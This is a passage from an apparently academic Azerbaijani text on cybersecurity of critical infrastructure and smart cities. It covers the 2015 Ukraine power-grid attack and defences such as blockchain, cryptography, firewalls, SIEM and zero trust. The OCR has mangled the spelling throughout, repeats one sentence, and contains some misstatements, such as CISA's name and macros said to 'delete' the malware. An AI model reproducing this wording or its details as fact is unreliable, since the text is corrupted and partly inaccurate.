tosirini gostoran miivafiq kiber insidentlori gostormok olar. Enerji sektorunda oldugu
kimi, hom i¢gmali su, hom do tullant1 su obyektlari ii¢lin kiber komponentloro SCADA
- sistemlori kimi taninan nozarat sistemlori daxildir. Bu clir kommunal xidmatlors
edilon kiberhiicumlar ictimai sohiyyoys, iqtisadiyyata vo biitovliikkdo xalqglara tosir
gostara bilar. Toqdim olunan niimuna tacaviizkarin su tomizlayici qurgulara neca tosir
gostara bilacayini gostarir. IBTimes-in malumatina gora, tacaviizkarlar su qurgusuna
siziblar vo i¢moli suyun tomizlonmasi tigiin istifado edilon kimyovi maddslorin
saviyyasini dayisdira biliblar.

Sohiyyo sonayesi do kritik infrastrukturun miihiim hissasidir. O, homg¢inin kiber
cinayatkarlarin hodofindadir. Niimunolordon goriindiiyli kimi, bu sektora yonolmis
kiberhiicumlar xastoxanalarin 1gini longida vo xastolari tohliiko garsisinda qoya bilor.

Homginin maliyye sektoru kiberhiicumla miibarizo aparir. Son illords
kibercinayatkarlarin aktivliyi 41% artib. Banqlades bankinin son niimunasi gostarir ki,
tocaviizkarlar bank qurumlarina sizmaq vo ciddi miqdarda pul ogurlamagq iigiin effektiv
alotloro vo bacariqlara malikdirlor.

Hesabata goro, homginin Osyalarin Internetinin bdyiimoesi vo sonaye nazarot
sistemlorinin miirokkobliyi aparat sistemlorindo daha ¢ox bosluglara sobab olacagq.
Kibertohliikosizliklo mosgul olan bir ¢ox sirkot avtomobil sistemlorinds vo ev-

avtomobil sistemlorinda ciddi zaifliklor askarlayib. Bu onu gostorir ki, kiber domen
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hoyatimizin artan sayini ohato etdiyino goro, hazirda tokco kritik infrastrukturlar deyil,
hom do votondaslar birbasa olaraq tocaviizkarlar torofindon tosirlonir.
Koordinasiya edilmis kiberhiicum — Ukrayna niimunasi.

23 dekabr 2015-ci ildo Ukraynanin elektrik paylayici operatoru Prykarpattya
Oblenergo iiciincii torof torofindon IKT infrastrukturuna hiicuma moruz qalds.
Operatorun saytinda dorc olunan rosmi molumata goro, bu pozuntu naticosinda bir sira
elektrik yarimstansiyalarinin isi dayandirilib vo IvanoFrankivsk vilayotindon olan
toxminon 80 min abonent ii¢-alt1 saat orzindos fasilolorls iizlogib. Eyni zamanda operator
cagr1 morkozinin infrastrukturunun faaliyyati ilo bagli digar texniki nasazliglar barado
ictimaiyyato molumat verib. Bu, elektrik kasildiyi zaman miistorilorin operatorla slaqo
saxlamasiin miimkiinsiizliiyiina sabab olub va bohrani darinlosdirib.

Yuxarida tosvir edilon hallar enerji operatorunun {i¢ elements boliing bilon yaxsi
olagolondirilmis hiicumla tzlosdiyini gostorir: zararli program hiicumu, zong
morkozinin funksiyalarina yonalmis xidmotdon imtina hiicumu v kasintiya sabob olan
yarimstansiya acarlarinin agilmasi.

Birincisi, tocaviizkarlar elektrik enerjisinin paylanmasi prosesina nozarot edon
asas serverlori yoluxdurdular, qurbanin sobakasina sizdilar (ehtimal ki, zorarli proqram
arxa gapisindan istifade edorak) vo miixtalif yarimstansiyalarin agarlarin1 agmaq amri
verdilor.

Kibercinayotkarin mogsadi qurbanin masinlarin1 zororli program tominati ila
yoluxduraraq elektrik sobakasi sistemina daxil olmaq idi. Zararli progqrami silmak ii¢iin
Excel fayllarinda makro skriptdon istifads etdilor. Yoluxmus Excel cadvallori Ukrayna
orazisindo elektrik enerjisinin paylanmasina cavabdeh olan bir ¢ox sirkatdo ¢alisan IT
iscilorini vo sistem administratorlarini hodof alan nizo-fising kampaniyasi zamani
yayilib.

Elektrik enerjisi kosildikdon sonra hadofin  hiicumun naticalori barads
molumatliligini mohdudlasdirmaq ii¢lin DoS hiicumlar1 hoyata kegcirildi - sohv
mesajlar1 xidmot personalina ¢atmadi, bu da bohrana lazimi reaksiya vermoyo mane

oldu vo infrastruktur omaliyyatinin barpasini gecikdirdi. Ukraynanin sondiiriilmasi
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hadisosi miilki infrastruktura yonolmis vo birbasa tosir edon ilk ohomiyyotli vo
ictimaiyyata bildirilon kiberhiicumlardan biri kimi qabul edils bilor.

Ukraynanin sondiiriilmosi hadisesi miilki infrastruktura yonslmis vo miilki
ohaliyo birbasa tosir gostoron ilk ohomiyyotli vo agiq sokildo bildirilon
kiberhtcumlardan biri kimi nozordon kegirilo bilor (masalon, sonaye/horbi binalarin
yoluxdugu Iran isi Stuxnet-o qars1). Ukrayna isi gostorir ki, motivli hiicumcular
olkolarin igtisadiyyatina vo ictimai tohliikasizliying ciddi ziyan vura bilirlor. Ukrayna
sobokosi voziyyatindo, xosboxtlikdon o zaman ol ilo mexaniki reaksiya miimkiin idi.
Bozi basqa 6lkolords ¢ox miiasir vo avtomatlasdirilmis enerji sobokoalori oldugu halda
bu, mimkin olmayacag.

Hibrid Miinaqisalar:

ovvalki yarimbolmads tosvir edilon Ukrayna hadisasi enerji sabokosi kimi kritik
infrastruktura baglanmis ugurlu kiberhiicumun miimkiin tasirlorina qisa nozar salir.
Toossiif ki, movecud geosiyasi voziyyst vo mdvcud haker bazar1 (dovlet vo geyri-
dovlat), bir 6lkenin va ya onun kritik infrastrukturunun basqa bir 6lks vo ya basqa bir
diisman 0lks licilin isloyon haker togkilati torofindon hiicuma maruz qalmasi tohliikasi
var. Qeyd etmok lazimdir ki, bu giin oksor hakerlor tokbasina deyil, toskilatlar iigiin
isloyirlar (kegmisdo toskilatlarda isloyon hakerlordon daha ¢ox frilanserlor oldugu iigiin
bu, shomiyyatli doracods doyisdi). Basqa sozlo, kiberhiicumlar hibrid miiharibs va ya
hibrid miinaqiso adlanan bir hissasi ola bilar, burada (on az1 ilk marhalodo) snonavi
harbi tadbirlor (masalon, asgarlar) istifads edilmir, lakin digqgat kiberhiicum kimi digar
sabitliyi pozan aspektlora verilir. hiicumlar, kiber tobligat, sosial mediaya vo elektron
mediaya tasir gostormak va s.

On pis ssenarilor reallasarsa, banklar (ATM-don pul ¢ixarmaq imkani yoxdur),
enerji (elektriksiz), nagliyyat, media va s. kimi kritik infrastrukturlara yonalmis ugurlu
koordinasiyali kiberhiicumlar comiyyatlori, 6lkalori iflic voziyyatine sala vo xaos
yarada bilor(Matthew Britt (2023), What are Smart Cities and Why Do We Need
Them).

Buna goro do Ukraynadaki kimi voziyystin qarsisini almaq {glin kritik

infrastrukturlar1 qorumaq tigiin effektiv hollor vo iisullara ehtiyac var. Yaradilan
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tovsiyalor vo texnologiyalar texnoloji, togkilati, insani vo tonzimloyici kimi aspektlorin

genis spektrini ohato etmolidir.

2.2 Kritik infrastrukturlarin kibertahliikasizlik proplemlarinin halli yollar

Kritik infrastrukturlar insanlarin giindolik vo sosial rutinlorini, tohliikosizliyini,
sohiyyo xidmeotlorini, iqtisadi vo sosial rifahlarini qorumaq ii¢lin hoyati vacib
sistemlordir. Bundan slava, bu sistemlor ictimai tohliikasizlik, milli tohliikasizlik vo
Olkolorin iqtisadi rifahi {licliin do hoyati ohomiyyoto malikdir. Regional vo milli
tohliikasizlik tizra bu asas rola gors, infrastruktur dlkalarin tohliikasizlik strategiyasinin
diqgot morkozindadir. Avropa Ittifaq (Al), 6lkolorin  kritik infrastruktur
tohliikesizliyinin shomiyyatine diggoeti toplamaq iigiin direktiv (Soboko Informasiya
Tohliikasizliyi) yayimladi vo 1iizv Olkolorin kritik infrastruktur c¢orgivalorinin
tohliikesizlik imkanlarmin zirzomisini yiiksoltmasini tolob etdi. Dinyada Kkritik
infrastruktur sistemlorinin say1 vo tasnifati sabit olmasa da, miixtalif 6lkalardan tortib
etmoklo Umumi tosnifat toqdim etmok olar. Masolon, Cexiya 0z kritik
infrastrukturlarmi rabito vo informasiya sistemlori, su tochizati sistemlari, enerji
tochizat1 sistemlori, nagliyyat sistemlori, maliyyo sistemlori, kanalizasiya sistemlori
qoza xidmaotlori vo nohayat, miioyyan edir. asas xidmotlor. ABS pogt vo géndormo
sistemlari, niiva reaktorlari, maddalar va tullantilar, hokumat obyektlori, kritik istehsal
obyektlori, miidafio sonayesi, milli abidslor vo nisanlar, bandlor, kimya kimi kritik
infrastrukturlar kimi bazi slave sistemlori uygunlasdirir (AL-MOHANNADI, Hamad,
MIRZA, Qublai, NAMANYA (2018)).

Son illordo agilli sohorlorin inkisafi ilo kritik infrastrukturlar internet vo korporativ
sobakolor vasitasilo bir-birina baglandig1 {i¢iin regional vo milli tohliikasizlik
mosalolarinin ilkin komponentloring ¢evrilmisdir O climlodon kritik infrastrukturlarda
komanda vo idareetma sistemlorinin oksariyyati niiva silahi vo reaktor sistemlori
kompiiter ¢iplori, GPS cihazlari, sensorlar, digor izloma cihazlart vo kameralarla
birlogdirilib. Beloaliklo, fiziki sistemlor hesab edilon kritik infrastrukturlar indi

kiberfiziki sistemlors ¢evrilmisdir. Bu giin bu avadanliq, xiisuson do agilli soharlordo
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kibertohliikosizlik tominat¢ilart vo kompiiter miihondislori {li¢lin yeni problemlor
yaradir, ¢ilinki onlar 6lkalorin milli tohliikasizliyini tohdid edon kiberhiicumlarin hadofi
olurlar.

Agilli sohorin islok sistemlorindo i osas komponent var: Kkiber-fiziki
infrastrukturlar inteqrasiya olunmus kibersobokolordon, aparat vo proqram tominati
istehsalgilarindan/provayderlorindon, midafio mexanizmlorindon \)
kibertohliikosizlik {i¢iin asas elementlor barodo molumatliligdan ibaratdir. Votondaslar,
istifadogilor, qubernatorlar, kibermiitoxassislor/miihafizagilor, yerli hokumot, morkozi
hokumot vo yerli/xarici kiberhiicumgular [oT, SCADA vo Xromatoqrafiya Malumat
Sistemi (CDS, Chromatography Data System) ilo bir-birina bagh kritik infrastruktura
malik olan agilli sshards istirak edon aktyorlardir. Kiber-o goéroa morkozi vo yerli
hokumaotlor, miidafio mexanizmlori vo aparat/proqram istehsalgilar: torafindon hoyata
kecirilon tohliikesizlik siyasotlori kiberfiziki infrastrukturlara kiberhiicumlarin
qarsisini almaq tigiin birgs isloyir. Bu siyasatlor agilli soharlords kibertohliikosizliyin
tomin edilmasi iizra asas tadbirlorin miioyyan edilmasi baximindan shomiyyatlidir.
Masolon, makro kibertohliikosizlik siyasoti kimi morkozi hokumot kiber-fiziki
infrastrukturlarin, aparat vo proqram tominatinin vo hotta, SCADA va CDS-nin
millilosdirilmasini dostoklaya bilor. Uygun olaraq, yerli hokumat milli sirketlora
miiraciot edo vo dovlot xidmotlorinds agilli sistemlorin dizayninda milli mohsullardan
(ogor varsa) istifado edo bilor. Ssenariys qayidaraq, votondaslar, qubernatorlar vo digor
istifadogilor agilli sistemlordon istifado edirlor xidmotlori almaq vo ya c¢atdirmag.
Sistemdon istifado etmok istoyon yerli vo xarici kiberhiicumgular da var. Kritik
infrastrukturlarda potensial kibertohliikosizlik riski tiglin dovlot, 6zal vo hibrid
institutlardan ibarat olan kibermiidafio mexanizmlori sistemlori aninda izloyir vo
regional/milli kibertohliikasizlik siyasatlorine uygun olaraq miioyyan edilmis miidafia
strategiyalarin1 qiymotlondirmok {i¢iin miitomadi olaraq mosq edirlor. Kontrollerlora
sistemlordoki deqradasiyalar1 dorhal hoyata kec¢irmoys imkan veran sensorlar

texnologiyasi biitlin agilli sistemlords va kritik infrastrukturlarda istifads olunur.
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Agill soharlor 6z votondaslarina xidmot gostormok ticlin bir-biri ilo olagoli bir ¢ox
sistem va cihazlardan istifado edirlor. Noticadoa, kritik infrastrukturun tomin edilmasina

goldikda, onlar unikal problemlorls iizlasirlor.

° Qarsihqh asilihq: Agilli sohar infrastrukturunun bir-biri ilo slagoali tobioti
0 demokdir ki, tok bir zaiflik ¢oxsayli sistemlor arasinda kaskad tesirlorlo genis
naticolora sobab ola bilor. Masolon, Ready.gov qeyd edir ki, elektrik enerjisinin
itmosi nogliyyat, su, rabito vo pul kogiirmo sistemlorini poza bilor. Bu da 6z
novbasindo magazalarin baglanmasina, ham¢inin qidalarin xarab olmasina va
suyun cirklonmosing sabab ola bilor. Daha da pisi, tibbi xidmatlor dayandirila bilor

va bazi bolgalards zoraki cinayastlorin sayi arta bilar.

° Miirakkablik:  Agilli  sohor  infrastrukturunda  istirak  edon
komponentlarin,

cithazlarin va sistemlorin ¢oxlugu hartorafli tohliikasizlik todbirlorinin hoyata
kegirilmasini ¢otinlosdirir. Vahid agilli sohor, nogliyyat, enerji vo sohorin osas
funksiyalarinin miuxtalif aspektlorini idars etmok iicliin real vaxt rejiminds
molumat toplayan vo Otiiron potensial yiiz minlorlo sensor vo digor qurgularla
genis Osyalarm Interneti (IoT) arxitekturasindan istifado edocok. Bundan olavo,
kritik sistemlorin prognozlasdirici saxlanmasi {giin siini intellekto etibar
edocokdir. Blockchain do geydlorin saxlanmasinda osas rol oynaya bilar,
geomokan texnologiyasi iso ¢ox vaxt otraf miihitin idars edilmosindo miithiim

funksiyaya xidmot edocokdir.

° Miixtalif Maraqh Taraflor: Agilli sohor infrastrukturu miixtolif
kibertohliikosizlik tocriibasi vo resurslart olan dovlot vo 6zal toskilatlar da daxil
olmagla ¢oxsayli maraqli toroflori ohato edir. Bu, pis aktyorun daxil olma

ehtimalinm artiraraq, daha ¢ox insanin miixtalif sistemlora daxil olmas1 demakdir.

° Inkisaf edon Tohdidlar: Kritik infrastrukturu hodafloyan kibertohliikolor
davamli olaraq inkisaf edir vo agilli sohorin maraqli toroflorindon on son
tendensiyalar va texnikalardan xobardar olmalarini talab edir. Fordi soxslora va ya

korporasiyalara edilon kiberhiicumlarin oksariyyati dar magsadlora malik ola bilsa
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do, sohorin infrastrukturuna edilon hiicumlar iqtisadi xaos yaratmaq vo ya kritik
xidmotlori sikost etmok kimi daha boylik ambisiyalar1 ola bilor. Bundan olavo,
dovlat torofindon dostoklonon bu hiicumlar standart kibertshliikolordon daha
miirokkob va dinamik ola bilar(Julian Durand (2023). Customizing Cybersecurity

For Critical Infrastructure: Finding The Perfect Fit For Smart Cities).

Kritik infrastrukturlara olan, hiicumlarin tohdidlarin garsisinin alinmas ii¢iin

tadbirlor, mexanizmlor

Hazirda totbiq olunan agilli sohor texnologiyalar1 bir cox zoaifliyo malikdir vo onlar
miuxtalif magsadler {i¢lin istifads olunur. Buna gora ds asas sual bunun neca edilacayi
ila baglidir. Tohdidlari va risklori minimuma endirmak tigiin zaifliklor aradan qaldirila
bilormi? Bu giina qador qobul edilmis strategiyaya, osason, giris nozaroti, sifralomo, IT
sonayesi standartlar1 vo tohliikesizlik protokollari, program tominatinin diizeldilmasi
rejimlori, homg¢inin personalin tolimi kimi ononovi, osason texniki tosir azaltma
hallorindan biri olmusdur. Bunun tasiri olsa da, agilli soharlorin tohliikasizliyinin tomin
edilmasi gohor hayati liglin o gadar vacib olur ki, azaltma (bas veran bir seyin giiciinii
vo ya intensivliyini azaltmaq) vo garsisinin alinmasini (ndyinss bas vermosini vo ya
bas vermoasini dayandirmaq) ohato edon daha genis sistemli miidaxilslor toplusu vo
onun qilivvaya minmasini talob edir.

Agilli gohor texnologiyalart Uzun miiddotli tokamiil (4G LTE, Long Term
Evolution), GSM, Kod Boélmasi Coxlu Giris (CDMA, Code Division Multiple Access),
WiFi, bluetooth, Yaxin Saho Rabitasi (NFC, Near Field Communication), A¢iq simsiz
standart (ZigBee) vo Simsiz rabito (Z-Wave) kimi bir sira kommunikasiya
texnologiyalar1 vo protokollar vasitosilo bir-birine baghdir. Sobokoloma vo
molumatlarin kogiliriilmasinin hor bir tisulu, molumatlarin {igiincii toroflor torafindon
gotiirlilmasine imkan veran tohliikesizlik problemlorine malik oldugu bilinir vo
cihazlara qadagan olunmus giris tomin edir(Rob Kitchinl and Martin Dodge2 (2017)).
Bu protokollarin bazilori o godor miirokkobdir ki, onlar1 tohliikesiz sokildo hoyata

kegirmok ¢otindir. Homginin, yerli vo uzaq Internet infrastrukturunu birlosdiron
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telekommunikasiya qovsagqlari, istehsal¢i vo operator arxasinda gizli giris vo nadir
yenilonon giris kodlar1 kimi tohliikasizlik ¢uxurlari oldugu bilinir.

Agilli  sohor  texnologiyasinin  totbiqi  prosesinin  baslangicindan
kibertohliikosizliyo tstlinliik verildikdo, sohorlor ohomiyyatli kibertohliikosizlik
insidentinin ehtimalin1 vo tosirini minimuma endiro bilocoklor. Hazirliga baslamaq
liclin sohorlor asagidaki mexanizmlori nozore almalidirlar (Rao, P. M., & Deebak, B.
D. (2023)):

1. Kibertahliikasizliyi Planlasdirma Prosesina daxil etmok. Agill

sohor texnologiyasimnin totbiqi layihosini nozordon kegirorkon tocriiboli

tohliikesizlik  is¢ilort  vo  kibertohliikasizlik  qiymaotlondirmalori  kimi

kibertohliikasizlik xarclorinin biidcolora daxil edilmosini tomin edilmalidir.

Lazimi kibertohliikasizlik infrastrukturu da hor hansi yeni texnologiyani totbiq

etmozdan avval moveud olmalidir vo biitiin tolob olunan maraqli toraflor vo

sObolor colb edilmoli vo molumatlandirilmalidir. Buraya is¢ilorin tolimi,
yenilonmis sobokolor vo cihazlar, lazimi ehtiyat niisxolorinin vo gorunma
vasitalorinin olmasi daxildir.

2. Kibertahliikasizlik iizra 9n Yaxs1 Tacriibalars riayat etmok. 2023-cl

ilin aprelindo Kritik Infrastruktur vo Tohliikasizlik Agentliyi (CISA, Critical

Infrastructure and Security Agency) soharlorin 6z infrastrukturlarina yeni

texnologiya totbiq etmoyi planlagsdirarkon bir sira rohbor prinsiplorsa omal

etmolorini tomin etmak tiglin agilli sohoarlar tiglin kibertohliikasizlik tizro on yaxsi
tocriibolori yayimladi. Cox faktorlu autentifikasiyanin (MFA, Multi-factor
authentication) hayata kecirilmasi, sifir inamh arxitekturada foaliyyat gostarmasi
vo yalmiz =zoruri personala sobokoyo girisin verilmosi kimi {limumi
kibertahliikasizlik tacriibalori do vacibdir(Rob Kitchinl and Martin Dodge2

(2017)).

3. Yaradilan Malumatlar1 Anlamaq. Agilli sohar texnologiyalari tez-tez

yeni malumatlar yaradir va ya mévcud malumatlart markazi yerds toplayir. Hansi

molumatlarin tortib edildiyini miioyyanlosdirmok vo onlar1 tohliikasiz saxlamaq

vo lazim olduqda silmok {i¢lin miivafiq prosesloro sahib olunmalidir. Bozi
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Olkolordo soxsi molumatlarin qorunmasi li¢ilin qaydalar movcud ola bilor vo
soharlor bu siyasotloro omol etmolidir.

4, Uciincii  soxs riskini diizgiin nazordon ke¢irmok. Sistemlori vo
sobokolori  xarici  tohdidlordon  tohliikesiz  saxlamaq iiglin  miivafiq
kibertohliikasizlik programlar1 va siyasatlori vo digar tochizat zonciri risklori ticlin
liclincii toroflori yoxlamaq. Sohorlor yalmiz etibarli tochizatcilardan istifado
etmoklo, tiglincii toroflorlo minimum tohliikasizlik toloblori miioyyon etmoklo vo
konar toraflorin molumatlardan necs istifads etdiyini, saxladigini va paylasdigini
todqiq etmoklo tochizat zonciri risklorini foal sokilds idars etmolidir.

5. Ehtiyat cavab plam. Hotta on gicli kibertohliikosizliysa hazirliq
planlamas1 belo kibertohliikasizlik hadisasi ilo naticoelons bilar, ona goro do
kiberhiicum halinda tez reaksiya vo barpa iigiin planin olmasi ¢ox vacibdir. Bu
plana insidentlo bagli cavab planinin hor bir aspekti ii¢iin hans1 maraqli toroflorin
cavabdeh olduglarmin tosviri, komok ti¢iin ¢agirila bilon etibarli xarici hadisoyo
cavab veron provayder vo sobokolor vo sistemlor olgatmaz olduqda, kritik
omoliyyatlar1 davam etdirmok ti¢iin ehtiyat plan1 daxil edilmalidir (Naveen Joshi
(2022)). Agilli sohar texnologiyasi insanlarin 6z icmalarinda yasamaq va islomok
torzini miisbat istiqgamotdo doyismok potensialina malikdir. Bununla bels,
texnologiyalar 6zlori ilo kritik sohar funksiyalarin1 miqyasda poza bilocok bir sira
kiber risklor gotirir. Agill1 sohar texnologiyasinin faydalarini tam sokildo hoyata
kecirmok ti¢lin soharlor kibertohliikasizlik infrastrukturunun qorunmasina digqgot
yetirmali vo qacilmaz kibertohliikosizlik insidentino dair planlar1 sinaqdan
kecirmolidir. Agilli sohorlordo kritik infrastrukturlarda kibertohliikasizlik
problemloarinin halli texnoloji hallor, vo an yaxsi tocriibalori 6ziinds birlogdiron
coxsaxali yanagma tolob edir. Kiber tohliikolori azaltmaq vo qarsisini almagq iigiin

bir ne¢o iisul var:
° Hiicumun askarlanmasi va qarsisinin alinmasi sistemlori (IDPS):
° Sifroloma:

° Cox faktorlu Dogrulama (MFA):
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° Firewall vo Antivirus Proqrama:
° Miintozom Tohliikasizlik Auditlori vo Zsifliyin Qiymatlondirilmasi:
° Tohliikosiz Soboko Arxitekturasi:
° Iscilorin Talim vo Maariflondirilmosi Proqramlars:
° Hadisoyo cavab planlamasi:
o Siini Intellekt vo Masi Oyronmosindan Istifado:
° Tachizat Zoncirinin Tohliikasizliyi:
° Zero Trust Arxitekturasinin gabulu:
Blockchain

Blockchain avvalco Bitcoin soklinde maliyys omsliyyatlart protokolu kimi
nozordo tutulmusdu. Lakin tohliikesizlik imkanlarina gors todqiqatcilar tohliikosizlik
vo Maxfilik problemlorini hall etmok {i¢iin Blockchain-o xiisusi diqget yetirmoyo
basladilar. Blockchain texnologiyast ayr1 bir texnologiya deyil; paylanmis
molumatlarin  saxlanmasi, nodqtodon noqtoys molumat Otiirlilmasi, konsensus
mexanizmlori va sifrolomo alqoritmlorindan istifads edon miixtalif komponentlori
birlogdiron hortorofli texniki sistemdir. Blockchain morkozlosdirilmomisdir, tosadiifi
olaraq molumatlar1 kicik pargalara ayirir vo kompiiter sobokasi boyunca paylayir (M.
Peck (2017)).

Paylanmis blockchain arxitekturasi, kiberhiicumlarin tosirini minimuma endiro
bilacayini nozars alaraq bir tistiinliikdiir. Bu memarliq amaliyyat sabitliyini tomin edir,
clinki tok bir ugursuzluq noqtesi yoxdur. Blok¢eynlor tez-tez texnologiya yigininin
miixtalif soviyyalorindo kibertohliikasizlik administratoru torafindon giiclii risk
nozaroti olan bulud platformalarinda yerlosdirilir. Blockchain sobokolori miixtolif
noqtalords ¢oxsayl sifraolomo formalarindan istifads edir va ¢ox soviyyali qorunma
tomin edir. Bundan olavo, blockchain sobokasindoki istirak¢r qovsaqlar arasindaki
soffafliq zaifliklori vo tohdidlori erkon askar etmoyo imkan verir(M. Nonaka (2018).

Blockchain-in innovativ nailiyyatlorino baxmayaraq, todqiqatlar gostorir ki,

texnologiyanin 6zii hals do tohliikasizlik risklari ilo galir. Blockchain tatbiglori saboka
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Kitablarin1 gorumagq ti¢iin etibarli bir metod toqdim edir. Bununla birlikds, blockchain
texnologiyasi fordi istirak¢ilarin tohliikesizliyine zomanat vermir vo digor qabaqcil
kiber tohliikasizlik tacriibalorini totbiq etmok ehtiyacini aradan qaldirmur. Istifadagilor
vo digor olagoali sistemlorlo kosismo noqtolorini ohato edon blockchain {istiinliiyii,
kiberhiicumlar ii¢iin an ¢ox ehtimal olunan fiirsati tomin edir (Y. Han, Z. Wang, and
Q. Ruan 2018).

Kriptografiya

Kriptografiya on ¢ox yayilmis malumat qoruma sistemidir. Magsad, qorunmayan
bir sobokodo gizlilik, mesaj biitovliiyli vo identifikasiyant tomin etmokdir. Bu,
molumatlar1 kodlasdirmaqla istifadagilor arasinda otiiriilon melumatlari qorumagq ti¢iin
osas vasitadir ki, yalniz lazzimi diiymslori olan istifadocilor malumatlart desifra edo
bilsinlor.

Yeni texnologiyalarin ortaya c¢ixmasi tocaviizkarlara movcud sifrolomo
algoritmlorini desifr etmak {iciin istifads olunan giiclii hack alstlori oldo etmoyo imkan
verdi. Tohliikoni nazoro alaraq, Amerika Milli Standartlar vo Texnologiya Institutu
SHA-1 protokolunu (tohliikesiz Hash alqoritmi) daha inkisaf etmis sifroloma protokolu
olan SHA-3 ilo avaz etdi.

Tacriibali tacaviizkarlar trafikin daha ¢ox real kimi goriinmasi tiglin miirakkab
kamuflyaj tisullarindan istifado edirlor. Bundan olavo, sobokalor vasitosilo 6Gtiiriilon
boylik miqdarda molumatlar 6tiiriilon molumatlarin geyri-miioyyanliyini tohlil etmok
liclin yeni analiz alqoritmlori tolob edir. Bu, soboko tohliikasizliyl miitoxassislorinin
dizayn icmasi ilo amokdasliq etdiyi, pozuntularin na oldugunu basa diismok Ucln
trafikin vizuallagdirilmasi iiglin daha yaxst yollar hazirladigi yeni bir arasdirma
sahosinag gotirib ¢ixard.

Firewallar vo antivirus program

Tohliikasizlik duvari(Firewall) daxili sabokadoki sistemlori xarici hiicumlardan
qorumagq ii¢iin on ¢ox yayilmis vasitodir. Omaliyyat prinsipi molumat paketlorini tohlil
etmak vo soboko administratoru torafindon miioyyan edilmis qaydalara asasen icazo
verilmali olub-olmadigmi miisyyon etmokdir. Tohliikosizlik divarlart saboka

infrastrukturunun bir ¢ox saviyyasinda yerlasdirilo bilar. Saboka saviyyali tohliikasizlik
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divarlar1 soboko sorhodindoki trafiki siliziir vo soboko administratoru torafindon
miiloyyon edilmis gaydalara uygun golmodikdo paketlori bloklayir. Yeni nosil
tohliikasizlik duvarlart (NGFV, New generation firewalls) yeni tohdidlora cavab
vermok tiglin daha miikommol hala goldi vo qabaqcil Zororli proqram yiiklomolori
(Alto, 2020) kimi daha miirokkob Zararli program novlorindon qoruya bildi(Savin, V.
D., & Anysz, R. N. (2021)).

Insidents cavab politikasi

Informasiya tohliikosizliyi hadisosi, molumat monbayinin moxfiliyino,
biitovliiyline vo movcudluguna birbasa vo ya dolayr hiicum bas verdikdo bas verir. Bu
clir hadisalara Zararli proqram tominati, malumat ogurlugu, giic vo komokc¢i kommunal
xidmatlorin kasilmasi vo molumat sizmasi, bir morhalods togkilatlar gagilmaz olaraq
informasiya tohliikosizliyi ila slagali hadisslorlo qarsilasirlar.

Son NIST hesabatina gors, sonaye idaroetma sistemlorindoki kibertohliikasizlik
hollori real vaxt rejimindo davranis anomaliyalarinin askarlanmasini tomin etmali,
hadisalarin idara edilmasini siiratlondirmali vo sobakonin va onun bir-biri ilo alagali
biitiin qovsaqlarinin agilli vizuallagdirilmasini tomin etmalidir. Tohliikasizlik vo hadisa
molumat idaroetmo sistemlori (SIEM, Security and event information management
systems) yuxarida gostarilon imkanlar1 daxili funksiyalar kimi gqabul edir.

Bir nego sirkot IT sistemlorinin infrastrukturunda soboko hiicumlarmni vo
anomaliyalar1 askar etmok ii¢lin SIEM proqram mohsullari hazirlamisdir. Bunlarin
arasinda klassik it sirkotlorini (mosalon, HP, IBM, Intel, McAfee), daha perspektivli
hoallor toklif edon digarlorini (mosalon, AT&T Cybersecurity/AlienVault' S SIEMs) va
SIEM kontekstindo nozore almacaq perspektivli Alatlori (Masolon, Splunk) tapa
bilarik(Gonzélez- Granadillo, G., Gonzélez-Zarzosa, S., & Diaz, R. (2021)).

Miixtolif boylik toskilatlarin hadiso cavab qruplarin1 neco totbiq etdiklorini vo
hadiso cavab proseduruna omaol etdiklorini 0yronmok {liclin sorgu kegirdi. Oksor
toskilatlar hadisoalora reaksiyani planlagdirmaq vo idars etmok ti¢iin NIST, ISO va bir
cox digor sistemlordon istifado edirlor. Bu tocriibo toskilata bir ¢ox cohotdon
informasiya tohliikasizliyi infrastrukturunun somaroliliyini vo faydaliligim1 tomin

etmoyo kdmok edir. Informasiya tohliikesizliyi sahosindo tohdidlor vo hiicumlar
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qacilmazdir. Beloliklo, toskilat risklorin miioyyonlosdirilmosino vo toskilatda
informasiya tohliikesizliyini tomin etmok {i¢iin hom proaktiv, hom do reaktiv
yanagmalarin tatbiqine yonalmisdir.

Oksor toskilatlarda informasiya tohliikesizliyi infrastrukturlarini vo hadiso
idaroetma prosesini izlomak vo idare etmok {iciin 24x7 rejimindo isloyon xiisusi bir
komanda var. Bazilori hadisalora reaksiya proseslorini xarici bir sira otlirdiilor. Onlarin
oksoriyyotindo hadiso cavab qrupunun digor sobolordon ayrilmasini tomin etmok {i¢lin
IT sobosi daxilindo miixtolif "zonalar" vo ya tocrid olunmus sahalor var. Toskilat
daxilinds tocrid olunmus bir orazinin hadiso cavab qrupunun islodiyi yerdon fiziki
olaraq ayrilmasi, informasiya tohliikasizliyi infrastrukturu {i¢iin istifado olunan kritik
molumatlarin fiziki tohliikasizliyini tomin etmays komak edir. Bu saha giris nazarat
mexanizmlori i1lo qorunur. Yalniz kibertohliikosizlik komandasinin iizvlorine miivafiq
yoxlama vo autentifikasiyadan sonra bu zonaya daxil olmaga icazs verilir.

Komandalar monitoring iiciin RSA, SIEM, Splunk, QRadar, Symantec Zororli
program, McAfee, Trend Micro va digar hollor kimi muxtalif vasitalordon istifads
edirlor. E-pogtla gondorilon istifadogi hesabatlarindan da molumat toplayirlar. Bundan
olavo, sistemlorindoki molumatlarla olaqgeli kiberhiicumlar1 izlomok iigiin FireEye
threat intelligence hollini istifads edirlor(Shinde, N., & Kulkarni, P. (2021)).

Saboka seqmentasiyasi, Zero Trust arxitekturasi

Kompiiter sobokaosinin qorunmast "korporativ informasiya sistemlorindo vo
kompiiter sobokslorindo icazasiz faaliyyati qorumaq, izlomok, tohlil etmok, askar
etmok vo cavab vermok iliglin kompiiter sobokolorindon istifado etmoklo hoyata
kecirilon tadbirlor"kimi miisyyan edilir.

Bu torif siibhali davraniglari miisyyonlosdirmays vo paketlorin bloklanmasini,
mohv edilmasini vo ya sohv yonlondirilmosini, Internet Protokol iinvanlarmmn
bloklanmasini vo bir sira digor aktiv todbirlori tomin etmoys yonolmis ¢ox aktiv bir
goruma tomin edir.

Soboks vo totbiq qorumasinin hoyata kegirilmosinds istirak edon elementlor ¢cox

vo miirokkobdir. Funksionalliq genis c¢esidli cihazlar torofindon tomin edilir. Bu
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funksionalliq Istifadoginin xidmeot keyfiyyoti vo ya soboko monbalori vo serverlorinin
qorunma keyfiyyaeti ilo olagoli ola bilor.

Qala miidafio sistemi voad edilmis sorhod tohliikosizliyini tomin edo bilmadi vo
pozuntular demok olar ki, hor giin bas verir. Paketo daxil olan vasaitlor movcud
